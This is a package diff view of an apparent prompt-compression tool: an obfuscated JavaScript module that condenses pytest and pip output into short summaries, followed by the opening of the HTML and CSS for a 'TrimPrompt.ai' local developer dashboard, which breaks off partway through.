_0x41f9b8=_0x43e22e[_0x2512f4(0x209)]();if(_0x41f9b8[_0x2512f4(0x20a)](_0x2512f4(0x20d))||_0x41f9b8['includes'](_0x2512f4(0x210))){const _0x1e9c1f=_0x41f9b8['match'](/(\d+)\s+passed/),_0x452799=_0x41f9b8[_0x2512f4(0x20b)](/(\d+)\s+failed/),_0x3a3253=_0x41f9b8[_0x2512f4(0x20b)](/(\d+)\s+total/);if(_0x1e9c1f)_0x21ee13=parseInt(_0x1e9c1f[0x1]);if(_0x452799)_0x784afc=parseInt(_0x452799[0x1]);if(_0x3a3253)_0x29e9da=parseInt(_0x3a3253[0x1]);continue;}(_0x41f9b8[_0x2512f4(0x20a)]('❯')||_0x41f9b8[_0x2512f4(0x20a)]('●')||_0x41f9b8['startsWith']('FAIL\x20\x20'))&&(_0x16a0cb=!![]),_0x16a0cb&&(_0x41f9b8['length']>0x0&&!_0x41f9b8[_0x2512f4(0x20a)]('Test\x20Suites:')&&!_0x41f9b8[_0x2512f4(0x20a)]('Tests:')&&_0x488131[_0x2512f4(0x205)](_0x43e22e));}if(_0x29e9da===0x0&&_0x21ee13===0x0&&_0x784afc===0x0){if(_0x4d961a[_0x2512f4(0x1f9)](_0x2512f4(0x1ef))&&!_0x4d961a[_0x2512f4(0x1f9)](_0x2512f4(0x1fc))){const _0x419e80=_0x4d961a[_0x2512f4(0x20b)](/(\d+)\s+passed/),_0x47e59e=_0x419e80?_0x419e80[0x1]:_0x2512f4(0x201);return _0x2512f4(0x1f0)+_0x47e59e+_0x2512f4(0x211);}return _0x4d961a;}if(_0x784afc===0x0&&_0x21ee13>0x0)return _0x2512f4(0x1f0)+_0x21ee13+_0x2512f4(0x211);const _0x299f49=[_0x2512f4(0x1f0)+_0x21ee13+'\x20passed,\x20'+_0x784afc+'\x20failed\x20('+_0x29e9da+_0x2512f4(0x204)];if(_0x488131[_0x2512f4(0x1fa)]>0x0){_0x299f49[_0x2512f4(0x205)](_0x2512f4(0x1fe));const _0xaaeb54=0x19,_0x36f832=_0x488131[_0x2512f4(0x203)](0x0,_0xaaeb54);for(const _0x9b6ade of _0x36f832){_0x299f49[_0x2512f4(0x205)]('\x20\x20'+_0x9b6ade);}_0x488131[_0x2512f4(0x1fa)]>_0xaaeb54&&_0x299f49[_0x2512f4(0x205)](_0x2512f4(0x1f3)+(_0x488131[_0x2512f4(0x1fa)]-_0xaaeb54)+_0x2512f4(0x20c));}return _0x299f49[_0x2512f4(0x20f)]('\x0a');}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';function a0_0x5c8f(_0x283bb5,_0xb1a7de){_0x283bb5=_0x283bb5-0xa4;const _0x380fec=a0_0x380f();let _0x5c8f7f=_0x380fec[_0x283bb5];return _0x5c8f7f;}function a0_0x380f(){const _0x3ab34b=['E\x20\x20\x20','\x20lines\x20of\x20stacktrace\x20truncated)','6965jFbuZp','trim','===','404sbjOEt','117SsgodT','21pwJtCB','failed','===\x20FAILURES\x20===','\x20xfailed','Using\x20cached','defineProperty','236090GvNQqO','startsWith','===\x20short\x20test\x20summary\x20info\x20===','284932KghqGj','length','passed','Collecting','\x20xpassed\x20(warning!)','\x20in\x20','\x20more\x20failures\x20truncated','6320265moZAFo','join','31914498YXLKiK','split','___','__esModule','Successfully\x20installed','.\x20[FAIL]\x20','9635376eHbWhv','\x20skipped','Downloading','\x20\x20...\x20+','Pytest:\x20','match','4086fkFgGl','2802XdIXIW','includes','Pytest:\x20All\x20tests\x20passed','\x0aFailures:','filter','push','AssertionError:','\x20passed'];a0_0x380f=function(){return _0x3ab34b;};return a0_0x380f();}const a0_0x37b465=a0_0x5c8f;(function(_0x521d0b,_0x3d5980){const _0x3fb2b1=a0_0x5c8f,_0x3d1495=_0x521d0b();while(!![]){try{const _0x3c8018=-parseInt(_0x3fb2b1(0xad))/0x1*(-parseInt(_0x3fb2b1(0xba))/0x2)+parseInt(_0x3fb2b1(0xbc))/0x3*(-parseInt(_0x3fb2b1(0xc5))/0x4)+-parseInt(_0x3fb2b1(0xcc))/0x5+-parseInt(_0x3fb2b1(0xac))/0x6*(-parseInt(_0x3fb2b1(0xb7))/0x7)+-parseInt(_0x3fb2b1(0xa6))/0x8+-parseInt(_0x3fb2b1(0xbb))/0x9*(parseInt(_0x3fb2b1(0xc2))/0xa)+parseInt(_0x3fb2b1(0xce))/0xb;if(_0x3c8018===_0x3d5980)break;else _0x3d1495['push'](_0x3d1495['shift']());}catch(_0x2e2f18){_0x3d1495['push'](_0x3d1495['shift']());}}}(a0_0x380f,0xd49ee));Object[a0_0x37b465(0xc1)](exports,a0_0x37b465(0xd1),{'value':!![]}),exports['filterPytest']=filterPytest,exports['filterPipInstall']=filterPipInstall;function filterPytest(_0x5e6992){const _0x6d44dc=a0_0x37b465,_0x245c1d=_0x5e6992[_0x6d44dc(0xcf)]('\x0a');let _0xe5c516=0x0,_0xb69d9c=0x0,_0x365c5f=0x0,_0x371fc1=0x0,_0xfe6766=0x0;const _0x1c653f=[];let _0x53ce13=[],_0x19fd32=![];for(const _0x58849b of _0x245c1d){const _0x44eeae=_0x58849b[_0x6d44dc(0xb8)]();if(_0x44eeae['startsWith'](_0x6d44dc(0xbe))||_0x44eeae[_0x6d44dc(0xc3)]('===\x20ERRORS\x20===')){_0x19fd32=!![];continue;}else(_0x44eeae[_0x6d44dc(0xc3)](_0x6d44dc(0xc4))||_0x44eeae[_0x6d44dc(0xc3)](_0x6d44dc(0xb9))&&_0x44eeae[_0x6d44dc(0xae)]('passed'))&&(_0x19fd32=![],_0x53ce13['length']>0x0&&(_0x1c653f[_0x6d44dc(0xb2)](_0x53ce13),_0x53ce13=[]));if(_0x19fd32){if(_0x44eeae[_0x6d44dc(0xc3)](_0x6d44dc(0xd0)))_0x53ce13[_0x6d44dc(0xc6)]>0x0&&(_0x1c653f[_0x6d44dc(0xb2)](_0x53ce13),_0x53ce13=[]),_0x53ce13[_0x6d44dc(0xb2)](_0x44eeae);else _0x44eeae['length']>0x0&&_0x53ce13[_0x6d44dc(0xb2)](_0x58849b);continue;}if(_0x44eeae[_0x6d44dc(0xc3)](_0x6d44dc(0xb9))&&_0x44eeae[_0x6d44dc(0xae)](_0x6d44dc(0xca))){const _0x3b40ca=_0x44eeae[_0x6d44dc(0xab)](/(\d+)\s+passed/),_0x3f6afb=_0x44eeae[_0x6d44dc(0xab)](/(\d+)\s+failed/),_0x4c0349=_0x44eeae['match'](/(\d+)\s+skipped/),_0x25affd=_0x44eeae[_0x6d44dc(0xab)](/(\d+)\s+xfailed/),_0x5d7ef8=_0x44eeae[_0x6d44dc(0xab)](/(\d+)\s+xpassed/);if(_0x3b40ca)_0xe5c516=parseInt(_0x3b40ca[0x1]);if(_0x3f6afb)_0xb69d9c=parseInt(_0x3f6afb[0x1]);if(_0x4c0349)_0x365c5f=parseInt(_0x4c0349[0x1]);if(_0x25affd)_0x371fc1=parseInt(_0x25affd[0x1]);if(_0x5d7ef8)_0xfe6766=parseInt(_0x5d7ef8[0x1]);}}_0x53ce13[_0x6d44dc(0xc6)]>0x0&&_0x1c653f[_0x6d44dc(0xb2)](_0x53ce13);if(_0xe5c516===0x0&&_0xb69d9c===0x0&&_0x365c5f===0x0&&_0x371fc1===0x0&&_0xfe6766===0x0){if(_0x5e6992[_0x6d44dc(0xae)](_0x6d44dc(0xc7))&&!_0x5e6992[_0x6d44dc(0xae)](_0x6d44dc(0xbd)))return _0x6d44dc(0xaf);return _0x5e6992;}if(_0xb69d9c===0x0&&_0xe5c516>0x0&&_0x365c5f===0x0&&_0x371fc1===0x0&&_0xfe6766===0x0)return _0x6d44dc(0xaa)+_0xe5c516+'\x20passed';const _0x26a929=[];_0x26a929['push'](_0x6d44dc(0xaa)+_0xe5c516+_0x6d44dc(0xb4));if(_0xb69d9c>0x0)_0x26a929[_0x6d44dc(0xb2)](_0xb69d9c+'\x20failed');if(_0x365c5f>0x0)_0x26a929['push'](_0x365c5f+_0x6d44dc(0xa7));if(_0x371fc1>0x0)_0x26a929[_0x6d44dc(0xb2)](_0x371fc1+_0x6d44dc(0xbf));if(_0xfe6766>0x0)_0x26a929[_0x6d44dc(0xb2)](_0xfe6766+_0x6d44dc(0xc9));const _0xe42de8=[_0x26a929[_0x6d44dc(0xcd)](',\x20')];if(_0x1c653f[_0x6d44dc(0xc6)]>0x0){_0xe42de8[_0x6d44dc(0xb2)](_0x6d44dc(0xb0));const _0x2a104a=0x3,_0x8c2c9e=_0x1c653f['slice'](0x0,_0x2a104a);for(let _0x26c2ce=0x0;_0x26c2ce<_0x8c2c9e[_0x6d44dc(0xc6)];_0x26c2ce++){const _0x101585=_0x8c2c9e[_0x26c2ce],_0x184912=_0x101585[0x0]['replace'](/_/g,'')['trim']();_0xe42de8[_0x6d44dc(0xb2)]('\x20\x20'+(_0x26c2ce+0x1)+_0x6d44dc(0xa5)+_0x184912);const _0x1314dd=_0x101585['slice'](0x1),_0x436575=_0x1314dd[_0x6d44dc(0xb1)](_0x39c9a9=>{const _0x329918=_0x6d44dc,_0x28cda5=_0x39c9a9[_0x329918(0xb8)]();return _0x28cda5['startsWith']('>')||_0x28cda5[_0x329918(0xc3)](_0x329918(0xb5))||_0x28cda5['includes']('.py:')||_0x28cda5['includes'](_0x329918(0xb3));});for(const _0x4c16b0 of _0x436575['slice'](0x0,0x8)){_0xe42de8[_0x6d44dc(0xb2)]('\x20\x20\x20\x20'+_0x4c16b0);}_0x436575['length']>0x8&&_0xe42de8[_0x6d44dc(0xb2)]('\x20\x20\x20\x20...\x20('+(_0x436575[_0x6d44dc(0xc6)]-0x8)+_0x6d44dc(0xb6));}_0x1c653f[_0x6d44dc(0xc6)]>_0x2a104a&&_0xe42de8[_0x6d44dc(0xb2)](_0x6d44dc(0xa9)+(_0x1c653f['length']-_0x2a104a)+_0x6d44dc(0xcb));}return _0xe42de8['join']('\x0a');}function filterPipInstall(_0x5a09e7){const _0x5cd962=a0_0x37b465,_0xdda93b=_0x5a09e7[_0x5cd962(0xcf)]('\x0a'),_0x4c60f9=[];for(const _0x25e963 of _0xdda93b){const _0x5d4ec8=_0x25e963['trim']();_0x5d4ec8[_0x5cd962(0xc3)](_0x5cd962(0xa4))&&_0x4c60f9['push'](_0x5d4ec8);}if(_0x4c60f9[_0x5cd962(0xc6)]>0x0)return _0x4c60f9[_0x5cd962(0xcd)]('\x0a');return _0xdda93b['filter'](_0xd7096a=>{const _0x47358c=_0x5cd962,_0x55f12c=_0xd7096a[_0x47358c(0xb8)]();return!_0x55f12c[_0x47358c(0xc3)](_0x47358c(0xc8))&&!_0x55f12c['startsWith'](_0x47358c(0xa8))&&!_0x55f12c[_0x47358c(0xae)](_0x47358c(0xc0))&&!_0x55f12c[_0x47358c(0xc3)]('Requirement\x20already\x20satisfied');})[_0x5cd962(0xcd)]('\x0a')[_0x5cd962(0xb8)]();}
|
package/index.html
ADDED
|
@@ -0,0 +1,779 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
6
|
+
<title>TrimPrompt.ai - Developer Dashboard</title>
|
|
7
|
+
<!-- Outfit & Inter Fonts -->
|
|
8
|
+
<link rel="preconnect" href="https://fonts.googleapis.com">
|
|
9
|
+
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
|
10
|
+
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&family=Outfit:wght@500;700;800&display=swap" rel="stylesheet">
|
|
11
|
+
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
|
|
12
|
+
<style>
|
|
13
|
+
/* CSS Design System */
|
|
14
|
+
:root {
|
|
15
|
+
--bg: #0B0C10;
|
|
16
|
+
--card-bg: rgba(26, 28, 35, 0.65);
|
|
17
|
+
--border: rgba(45, 49, 63, 0.5);
|
|
18
|
+
--text: #F8FAFC;
|
|
19
|
+
--text-muted: #94A3B8;
|
|
20
|
+
--emerald: #10B981;
|
|
21
|
+
--emerald-glow: rgba(16, 185, 129, 0.15);
|
|
22
|
+
--indigo: #6366F1;
|
|
23
|
+
--indigo-glow: rgba(99, 102, 241, 0.15);
|
|
24
|
+
--red: #EF4444;
|
|
25
|
+
--red-glow: rgba(239, 68, 68, 0.1);
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
* {
|
|
29
|
+
box-sizing: border-box;
|
|
30
|
+
margin: 0;
|
|
31
|
+
padding: 0;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
body {
|
|
35
|
+
font-family: 'Inter', sans-serif;
|
|
36
|
+
background-color: var(--bg);
|
|
37
|
+
color: var(--text);
|
|
38
|
+
min-height: 100vh;
|
|
39
|
+
display: flex;
|
|
40
|
+
flex-direction: column;
|
|
41
|
+
position: relative;
|
|
42
|
+
overflow-x: hidden;
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
/* Ambient radial glow background */
|
|
46
|
+
body::before {
|
|
47
|
+
content: "";
|
|
48
|
+
position: absolute;
|
|
49
|
+
width: 600px;
|
|
50
|
+
height: 600px;
|
|
51
|
+
top: -200px;
|
|
52
|
+
left: -200px;
|
|
53
|
+
background: radial-gradient(circle, var(--indigo-glow) 0%, rgba(11, 12, 16, 0) 70%);
|
|
54
|
+
z-index: -1;
|
|
55
|
+
pointer-events: none;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
body::after {
|
|
59
|
+
content: "";
|
|
60
|
+
position: absolute;
|
|
61
|
+
width: 600px;
|
|
62
|
+
height: 600px;
|
|
63
|
+
bottom: -200px;
|
|
64
|
+
right: -200px;
|
|
65
|
+
background: radial-gradient(circle, var(--emerald-glow) 0%, rgba(11, 12, 16, 0) 70%);
|
|
66
|
+
z-index: -1;
|
|
67
|
+
pointer-events: none;
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
header {
|
|
71
|
+
max-width: 1200px;
|
|
72
|
+
width: 100%;
|
|
73
|
+
margin: 0 auto;
|
|
74
|
+
padding: 2rem 1.5rem 1rem;
|
|
75
|
+
display: flex;
|
|
76
|
+
justify-content: space-between;
|
|
77
|
+
align-items: center;
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
.logo-container h1 {
|
|
81
|
+
font-family: 'Outfit', sans-serif;
|
|
82
|
+
font-weight: 800;
|
|
83
|
+
font-size: 1.8rem;
|
|
84
|
+
background: linear-gradient(135deg, #FFF 0%, var(--indigo) 100%);
|
|
85
|
+
-webkit-background-clip: text;
|
|
86
|
+
-webkit-text-fill-color: transparent;
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
.logo-container p {
|
|
90
|
+
font-size: 0.85rem;
|
|
91
|
+
color: var(--text-muted);
|
|
92
|
+
margin-top: 0.2rem;
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
.selector-container {
|
|
96
|
+
display: flex;
|
|
97
|
+
align-items: center;
|
|
98
|
+
gap: 0.8rem;
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
select {
|
|
102
|
+
background: var(--card-bg);
|
|
103
|
+
border: 1px border var(--border);
|
|
104
|
+
color: var(--text);
|
|
105
|
+
padding: 0.6rem 1.2rem;
|
|
106
|
+
border-radius: 8px;
|
|
107
|
+
font-family: inherit;
|
|
108
|
+
font-weight: 500;
|
|
109
|
+
cursor: pointer;
|
|
110
|
+
outline: none;
|
|
111
|
+
backdrop-filter: blur(12px);
|
|
112
|
+
transition: border-color 0.2s;
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
select:hover {
|
|
116
|
+
border-color: var(--indigo);
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
main {
|
|
120
|
+
max-width: 1200px;
|
|
121
|
+
width: 100%;
|
|
122
|
+
margin: 0 auto;
|
|
123
|
+
padding: 1.5rem;
|
|
124
|
+
flex-grow: 1;
|
|
125
|
+
display: flex;
|
|
126
|
+
flex-direction: column;
|
|
127
|
+
gap: 1.5rem;
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
/* Glassmorphic Cards Grid */
|
|
131
|
+
.metrics-grid {
|
|
132
|
+
display: grid;
|
|
133
|
+
grid-template-columns: repeat(4, 1fr);
|
|
134
|
+
gap: 1.5rem;
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
.card {
|
|
138
|
+
background: var(--card-bg);
|
|
139
|
+
border: 1px solid var(--border);
|
|
140
|
+
border-radius: 16px;
|
|
141
|
+
padding: 1.5rem;
|
|
142
|
+
backdrop-filter: blur(12px);
|
|
143
|
+
display: flex;
|
|
144
|
+
flex-direction: column;
|
|
145
|
+
justify-content: space-between;
|
|
146
|
+
position: relative;
|
|
147
|
+
overflow: hidden;
|
|
148
|
+
transition: transform 0.3s, box-shadow 0.3s;
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
.card:hover {
|
|
152
|
+
transform: translateY(-4px);
|
|
153
|
+
box-shadow: 0 12px 30px rgba(0, 0, 0, 0.3);
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
.card::before {
|
|
157
|
+
content: "";
|
|
158
|
+
position: absolute;
|
|
159
|
+
top: 0;
|
|
160
|
+
left: 0;
|
|
161
|
+
width: 4px;
|
|
162
|
+
height: 100%;
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
.card.savings::before { background: var(--emerald); }
|
|
166
|
+
.card.savings { box-shadow: 0 4px 20px rgba(16, 185, 129, 0.05); }
|
|
167
|
+
|
|
168
|
+
.card.reduction::before { background: var(--indigo); }
|
|
169
|
+
.card.reduction { box-shadow: 0 4px 20px rgba(99, 102, 241, 0.05); }
|
|
170
|
+
|
|
171
|
+
.card.tokens::before { background: #3B82F6; }
|
|
172
|
+
|
|
173
|
+
.card-label {
|
|
174
|
+
font-family: 'Outfit', sans-serif;
|
|
175
|
+
font-weight: 700;
|
|
176
|
+
font-size: 0.9rem;
|
|
177
|
+
text-transform: uppercase;
|
|
178
|
+
letter-spacing: 0.05em;
|
|
179
|
+
color: var(--text-muted);
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
.card-value {
|
|
183
|
+
font-size: 2.2rem;
|
|
184
|
+
font-weight: 800;
|
|
185
|
+
font-family: 'Outfit', sans-serif;
|
|
186
|
+
margin: 1rem 0 0.5rem;
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
.card.savings .card-value { color: var(--emerald); }
|
|
190
|
+
.card.reduction .card-value { color: var(--indigo); }
|
|
191
|
+
.card.tokens .card-value { color: #3B82F6; }
|
|
192
|
+
|
|
193
|
+
.card-subtext {
|
|
194
|
+
font-size: 0.8rem;
|
|
195
|
+
color: var(--text-muted);
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
/* History Table Section */
|
|
199
|
+
.history-section {
|
|
200
|
+
background: var(--card-bg);
|
|
201
|
+
border: 1px solid var(--border);
|
|
202
|
+
border-radius: 16px;
|
|
203
|
+
padding: 1.5rem;
|
|
204
|
+
backdrop-filter: blur(12px);
|
|
205
|
+
display: flex;
|
|
206
|
+
flex-direction: column;
|
|
207
|
+
gap: 1rem;
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
.history-header {
|
|
211
|
+
display: flex;
|
|
212
|
+
justify-content: space-between;
|
|
213
|
+
align-items: center;
|
|
214
|
+
}
|
|
215
|
+
|
|
216
|
+
.history-header h2 {
|
|
217
|
+
font-family: 'Outfit', sans-serif;
|
|
218
|
+
font-weight: 700;
|
|
219
|
+
font-size: 1.3rem;
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
.table-container {
|
|
223
|
+
overflow-x: auto;
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
table {
|
|
227
|
+
width: 100%;
|
|
228
|
+
border-collapse: collapse;
|
|
229
|
+
text-align: left;
|
|
230
|
+
font-size: 0.9rem;
|
|
231
|
+
}
|
|
232
|
+
|
|
233
|
+
th {
|
|
234
|
+
font-family: 'Outfit', sans-serif;
|
|
235
|
+
font-weight: 700;
|
|
236
|
+
color: var(--text-muted);
|
|
237
|
+
padding: 1rem;
|
|
238
|
+
border-bottom: 1px solid var(--border);
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
td {
|
|
242
|
+
padding: 1rem;
|
|
243
|
+
border-bottom: 1px solid var(--border);
|
|
244
|
+
color: var(--text);
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
tr:last-child td {
|
|
248
|
+
border-bottom: none;
|
|
249
|
+
}
|
|
250
|
+
|
|
251
|
+
tr:hover td {
|
|
252
|
+
background-color: rgba(255, 255, 255, 0.02);
|
|
253
|
+
}
|
|
254
|
+
|
|
255
|
+
.status-badge {
|
|
256
|
+
display: inline-block;
|
|
257
|
+
padding: 0.25rem 0.6rem;
|
|
258
|
+
border-radius: 6px;
|
|
259
|
+
font-size: 0.8rem;
|
|
260
|
+
font-weight: 600;
|
|
261
|
+
}
|
|
262
|
+
|
|
263
|
+
.status-badge.success {
|
|
264
|
+
background-color: rgba(16, 185, 129, 0.1);
|
|
265
|
+
color: var(--emerald);
|
|
266
|
+
}
|
|
267
|
+
|
|
268
|
+
.status-badge.fail {
|
|
269
|
+
background-color: var(--red-glow);
|
|
270
|
+
color: var(--red);
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
.btn-inspect {
|
|
274
|
+
background: rgba(99, 102, 241, 0.1);
|
|
275
|
+
border: 1px solid var(--indigo);
|
|
276
|
+
color: var(--text);
|
|
277
|
+
padding: 0.4rem 0.8rem;
|
|
278
|
+
border-radius: 6px;
|
|
279
|
+
cursor: pointer;
|
|
280
|
+
font-weight: 600;
|
|
281
|
+
font-size: 0.8rem;
|
|
282
|
+
transition: background 0.2s;
|
|
283
|
+
}
|
|
284
|
+
|
|
285
|
+
.btn-inspect:hover {
|
|
286
|
+
background: var(--indigo);
|
|
287
|
+
}
|
|
288
|
+
|
|
289
|
+
/* Inspect Modal */
|
|
290
|
+
.modal-overlay {
|
|
291
|
+
position: fixed;
|
|
292
|
+
top: 0;
|
|
293
|
+
left: 0;
|
|
294
|
+
right: 0;
|
|
295
|
+
bottom: 0;
|
|
296
|
+
background: rgba(0, 0, 0, 0.85);
|
|
297
|
+
backdrop-filter: blur(8px);
|
|
298
|
+
display: none;
|
|
299
|
+
justify-content: center;
|
|
300
|
+
align-items: center;
|
|
301
|
+
z-index: 100;
|
|
302
|
+
padding: 2rem;
|
|
303
|
+
}
|
|
304
|
+
|
|
305
|
+
.modal-container {
|
|
306
|
+
background: #151821;
|
|
307
|
+
border: 1px solid var(--border);
|
|
308
|
+
width: 100%;
|
|
309
|
+
max-width: 1100px;
|
|
310
|
+
height: 90vh;
|
|
311
|
+
border-radius: 16px;
|
|
312
|
+
display: flex;
|
|
313
|
+
flex-direction: column;
|
|
314
|
+
overflow: hidden;
|
|
315
|
+
box-shadow: 0 20px 50px rgba(0, 0, 0, 0.5);
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
.modal-header {
|
|
319
|
+
padding: 1.5rem;
|
|
320
|
+
border-bottom: 1px solid var(--border);
|
|
321
|
+
display: flex;
|
|
322
|
+
justify-content: space-between;
|
|
323
|
+
align-items: center;
|
|
324
|
+
}
|
|
325
|
+
|
|
326
|
+
.modal-header h3 {
|
|
327
|
+
font-family: 'Outfit', sans-serif;
|
|
328
|
+
font-weight: 700;
|
|
329
|
+
font-size: 1.2rem;
|
|
330
|
+
}
|
|
331
|
+
|
|
332
|
+
.btn-close {
|
|
333
|
+
background: none;
|
|
334
|
+
border: none;
|
|
335
|
+
color: var(--text-muted);
|
|
336
|
+
font-size: 1.8rem;
|
|
337
|
+
cursor: pointer;
|
|
338
|
+
line-height: 1;
|
|
339
|
+
}
|
|
340
|
+
|
|
341
|
+
.btn-close:hover {
|
|
342
|
+
color: var(--text);
|
|
343
|
+
}
|
|
344
|
+
|
|
345
|
+
.diff-views {
|
|
346
|
+
flex-grow: 1;
|
|
347
|
+
display: grid;
|
|
348
|
+
grid-template-columns: 1fr 1fr;
|
|
349
|
+
overflow: hidden;
|
|
350
|
+
}
|
|
351
|
+
|
|
352
|
+
.diff-column {
|
|
353
|
+
display: flex;
|
|
354
|
+
flex-direction: column;
|
|
355
|
+
height: 100%;
|
|
356
|
+
overflow: hidden;
|
|
357
|
+
}
|
|
358
|
+
|
|
359
|
+
.diff-column:first-child {
|
|
360
|
+
border-right: 1px solid var(--border);
|
|
361
|
+
}
|
|
362
|
+
|
|
363
|
+
.diff-title {
|
|
364
|
+
font-family: 'Outfit', sans-serif;
|
|
365
|
+
font-weight: 700;
|
|
366
|
+
font-size: 0.9rem;
|
|
367
|
+
text-transform: uppercase;
|
|
368
|
+
padding: 0.8rem 1rem;
|
|
369
|
+
background: rgba(255, 255, 255, 0.02);
|
|
370
|
+
border-bottom: 1px solid var(--border);
|
|
371
|
+
color: var(--text-muted);
|
|
372
|
+
}
|
|
373
|
+
|
|
374
|
+
.diff-code {
|
|
375
|
+
flex-grow: 1;
|
|
376
|
+
padding: 1rem;
|
|
377
|
+
overflow-y: auto;
|
|
378
|
+
font-family: monospace;
|
|
379
|
+
font-size: 0.85rem;
|
|
380
|
+
line-height: 1.5;
|
|
381
|
+
background: #0B0C10;
|
|
382
|
+
white-space: pre-wrap;
|
|
383
|
+
word-break: break-all;
|
|
384
|
+
}
|
|
385
|
+
|
|
386
|
+
/* Responsive Design */
|
|
387
|
+
@media (max-width: 1024px) {
|
|
388
|
+
.metrics-grid {
|
|
389
|
+
grid-template-columns: repeat(2, 1fr);
|
|
390
|
+
}
|
|
391
|
+
}
|
|
392
|
+
@media (max-width: 600px) {
|
|
393
|
+
.metrics-grid {
|
|
394
|
+
grid-template-columns: 1fr;
|
|
395
|
+
}
|
|
396
|
+
}
|
|
397
|
+
@media (max-width: 768px) {
|
|
398
|
+
.diff-views {
|
|
399
|
+
grid-template-columns: 1fr;
|
|
400
|
+
grid-template-rows: 1fr 1fr;
|
|
401
|
+
}
|
|
402
|
+
.diff-column:first-child {
|
|
403
|
+
border-right: none;
|
|
404
|
+
border-bottom: 1px solid var(--border);
|
|
405
|
+
}
|
|
406
|
+
.modal-overlay {
|
|
407
|
+
padding: 0.5rem;
|
|
408
|
+
}
|
|
409
|
+
}
|
|
410
|
+
</style>
|
|
411
|
+
</head>
|
|
412
|
+
<body>
|
|
413
|
+
|
|
414
|
+
<header>
|
|
415
|
+
<div class="logo-container">
|
|
416
|
+
<a href="https://trimprompt.ai" target="_blank" style="text-decoration: none;">
|
|
417
|
+
<h1>TrimPrompt.ai</h1>
|
|
418
|
+
</a>
|
|
419
|
+
<p>Local Developer Dashboard</p>
|
|
420
|
+
</div>
|
|
421
|
+
<div class="selector-container">
|
|
422
|
+
<label for="model-select" style="font-size: 0.85rem; color: var(--text-muted); font-weight: 500;">LLM Context:</label>
|
|
423
|
+
<select id="model-select" onchange="onModelChange()">
|
|
424
|
+
<option value="auto">Auto-Detect (Active)</option>
|
|
425
|
+
<option value="claude-fable-5">Claude Fable 5</option>
|
|
426
|
+
<option value="claude-mythos-5">Claude Mythos 5</option>
|
|
427
|
+
<option value="claude-opus-4-8" selected>Claude Opus 4.8</option>
|
|
428
|
+
<option value="claude-opus-4-7">Claude Opus 4.7</option>
|
|
429
|
+
<option value="claude-opus-4-5">Claude Opus 4.5</option>
|
|
430
|
+
<option value="claude-opus-4-1">Claude Opus 4.1 (deprecated)</option>
|
|
431
|
+
<option value="claude-sonnet-4-6">Claude Sonnet 4.6</option>
|
|
432
|
+
<option value="claude-sonnet-4-5">Claude Sonnet 4.5</option>
|
|
433
|
+
<option value="claude-3-5-sonnet">Claude 3.5 Sonnet</option>
|
|
434
|
+
<option value="claude-haiku-4-5">Claude Haiku 4.5</option>
|
|
435
|
+
<option value="claude-haiku-3-5">Claude Haiku 3.5</option>
|
|
436
|
+
<option value="gpt-5-5">GPT-5.5</option>
|
|
437
|
+
<option value="gpt-5-4">GPT-5.4</option>
|
|
438
|
+
<option value="gpt-4o">GPT-4o</option>
|
|
439
|
+
<option value="gpt-5-4-mini">GPT-5.4 Mini</option>
|
|
440
|
+
<option value="gpt-5-4-nano">GPT-5.4 Nano</option>
|
|
441
|
+
<option value="gpt-4-1-mini">GPT-4.1 Mini</option>
|
|
442
|
+
<option value="gpt-4-1-nano">GPT-4.1 Nano</option>
|
|
443
|
+
<option value="gpt-4o-mini">GPT-4o Mini</option>
|
|
444
|
+
<option value="o1">OpenAI o1</option>
|
|
445
|
+
<option value="o1-mini">OpenAI o1-mini</option>
|
|
446
|
+
<option value="o3-mini">OpenAI o3-mini</option>
|
|
447
|
+
<option value="cursor-small">Cursor Small</option>
|
|
448
|
+
<option value="gemini-3-1-pro">Gemini 3.1 Pro</option>
|
|
449
|
+
<option value="gemini-3-5-flash">Gemini 3.5 Flash</option>
|
|
450
|
+
<option value="gemini-3-1-flash-lite">Gemini 3.1 Flash-Lite</option>
|
|
451
|
+
<option value="gemini-3-5-live-translate">Gemini 3.5 Live Translate</option>
|
|
452
|
+
</select>
|
|
453
|
+
</div>
|
|
454
|
+
</header>
|
|
455
|
+
|
|
456
|
+
<main>
|
|
457
|
+
<div class="metrics-grid">
|
|
458
|
+
<div class="card" style="box-shadow: 0 4px 20px rgba(59, 130, 246, 0.05); border-left: 4px solid #3B82F6;">
|
|
459
|
+
<div class="card-label">Shaved Cost</div>
|
|
460
|
+
<div class="card-value" id="val-comp-cost" style="color: #3B82F6;">$0.0000</div>
|
|
461
|
+
<div class="card-subtext">actual cost paid after compression</div>
|
|
462
|
+
</div>
|
|
463
|
+
<div class="card reduction">
|
|
464
|
+
<div class="card-label">Reduction Rate</div>
